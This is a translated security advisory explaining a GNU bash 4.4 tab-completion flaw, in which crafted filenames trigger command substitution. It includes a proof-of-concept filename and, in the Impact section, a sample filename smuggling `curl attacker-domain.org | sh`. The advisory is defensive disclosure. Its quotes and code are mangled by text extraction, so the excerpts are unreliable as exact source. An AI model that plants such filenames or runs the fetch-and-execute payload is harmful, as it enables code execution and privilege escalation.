翻译:胖胖秦
预估稿费:100RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
引言
从版本4.4开始,GNU bash在路径补全功能就存在两个bugs,这会触发一个代码执行漏洞。通过创建拥有特制名字的文件或目录可以触发这个漏洞。用户可以通过按Tab键使用GNU bash的内置路径完成功能(如使用rm命令来删除它),这将触发漏洞但不执行命令本身。在2015五月, devel-branch介绍了该漏洞。
描述
如果创建一个有双引号(”)的文件,这个漏洞就会发生的,这个双引号遵循GNU bash的内置命令替换功能( ‘<command>‘ 或 $(<command>))。双引号不需要闭合。如果用户试图使用自动补全功能,命令就会被执行(如果它不包含一个斜杠(/)字符):
[ heyens@beowulf ] $ touch ’” ‘ touch HereBeDragons ‘ ’
[ heyens@beowulf ] $ ls −lt insgesamt 0 −rw−r−−r−− 1 heyens heyens 0 17. Jan 16:03 ’” ‘ touch HereBeDragons ‘ ’
[ heyens@beowulf ] $ rm ”‘ touch HereBeDragons‘ ˆC
[ heyens@beowulf ] $ ls −lt insgesamt 0 −rw−r−−r−− 1 heyens heyens 0 17. Jan 16:04 HereBeDragons −rw−r−−r−− 1 heyens heyens 0 17. Jan 16:03 ’” ‘ touch HereBeDragons ‘ ’
原因
在已提交的devel-branc :74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3 [ 1 ]上介绍了这个漏洞,并插入到了4.4的稳定版中。下面的代码引用于此提交哈希。
GNU bash中有两个函数会导致这个漏洞。为了更好的说明,我们假设攻击者在磁盘上保存了一个名为”’foo‘的文件。
dirname的去双引号
在bash的filename_stat_hook函数中,之前检查文件是否存在的代码是内联的,在提交的版本中, 使用了directory exists函数来代替了这个检查(bashline.c也包含这个检查):
3121 else i f ( t = mbschr ( local dirname , ’ ‘ ’ ) ) /∗ XXX ∗/
3122 should expand dirname = ’ ‘ ’ ;
3123
3124 if ( should expand dirname && directory exists ( local dirname ) )
3125 should expand dirname = 0;
3126
3127 if ( should expand dirname )
3128 {
3129 new dirname = savestring ( local dirname ) ;
3130 wl = expand prompt string ( new dirname , 0 , WNOCOMSUB) ; /∗ does the right thing ∗/
跟随这个调用 ,我们发现dirname参数被去引号了.然后,当一个文件名被补齐时,引号早已被移除了.
3092 /∗ First , dequote the directory name ∗/
3093 new dirname = bash dequote filename ( dirname , rl completion quote character ) ;
3094 dirlen = STRLEN ( new dirname ) ;
3095 i f ( new dirname [ dirlen − 1] == ’/ ’ )
3096 new dirname [ dirlen − 1] = ’ ’ ;
3097 #i f defined (HAVE LSTAT)
3098 r = lstat ( new dirname , &sb ) == 0;
3099 #else 3100 r = stat ( new dirname , &sb ) == 0;
3101 #endif
3102 free ( new dirname ) ;
3103 return ( r ) ;
在本质上,这意味着,如果dirname中包含一个双引号,在directory_exists函数内部将移除这个双引号,这发生在l(stat)被调用之前。考虑到我们的原始输入,这意味着dirname包含‘foo’。这个结果在函数里会返回0,因为没有相关文件存在。
返回之前的函数,我们发现在这种情况下,should_expand_dirname不为零,expand_prompt_string函数使用目录名来调用(3130行)。在我们的案例中会发生以下情况 :显示文件没有被找到,我们包含一个’在它的路径中。然而,正确的参数被传递来保证不应该发生命令替换(W_NOCOMSUB)。该函数主要传递参数给expand_word_internal(subst.c:8601)函数,正如我们刚刚发生的,它并没有做正确的事。
expand_word_internal不转发Flags字段
通过查看expand_word_internal函数的源码,我们发现有不同情况来处理引号字符串。我们看看下面的代码段,从subst.c:9009开始:
9009 case ’” ’ :
9010 if (( quoted & (Q DOUBLE QUOTES|Q HERE DOCUMENT) ) && (( quoted & Q ARITH) == 0) )
9011 goto add character ;
9012
9013 t index = ++sindex ;
9014 temp = string extract double quoted ( string , &sindex , 0) ;
9015
9016 /∗ I f the quotes surrounded the entire string , then the
9017 whole word was quoted . ∗/
9018 quoted state = ( t index == 1 && string [ sindex ] == ’ ’ )
9019 ? WHOLLY QUOTED
9020 : PARTIALLY QUOTED;
9021
9022 i f (temp && ∗temp)
9023 {
9024 tword = alloc word desc () ;
9025 tword−>word = temp ;
9026
9027 temp = ( char ∗)NULL;
9028
9029 temp has dollar at = 0; /∗ XXX ∗/
9030 /∗ Need to get W HASQUOTEDNULL flag through this function . ∗/
9031 l i s t = expand word internal (tword , Q DOUBLE QUOTES, 0 , & temp has dollar at , ( int ∗)NULL) ;
在第9014行中,开放(闭合是可选的)引号之间的所有信息都被提取出来。在第9024行会申请一个新的 WORD_DESC结构。相关联的word字段会作相应的设置。但是却从没有设置flags字段。在本质上,即使W_NOCOMSUB被设置为原始字符串,在新创建的字符串中也不会处理Flag标志。在第9031行中,expand_word_interna是递归调用的。但是在这种情况下,将传递’foo’并在命令替换上没有任何限制,这将导致攻击者的命令被执行,执行权限取决于与运行bash的用户。
影响
我们认为这个错误的影响是非常高的,假设攻击者在系统上没有权限,它可以释放一个特定名字的文件到一个目录中,并等待管理员来触发漏洞,进行提升权限,尽管该漏洞不允许在文件名中包含一个斜杠,对于漏洞利用这影响不大:
some-very-long-string-nobody-is-going-to-type"’curl attacker-domain.org| sh‘.
可能的修复
这个问题和两个不同的错误有关。由于没有更深层次的代码基础知识,我们只能猜测,在递归调用expand_word_internal函数里传递flags可以修复这个漏洞。但是,在directory_exists函数中去引号结合已去引号的字符串也可以修复这个漏洞。
References
[1] GNU project. GNU Bash at Savannah git (devel branch). Available at http://git.savannah.gnu.org/cgit/bash.git/commit/?h=devel&id= 74b8cbb41398b4453d8ba04d0cdd1b25f9dcb9e3. Accessed: 2017-01-17.

评论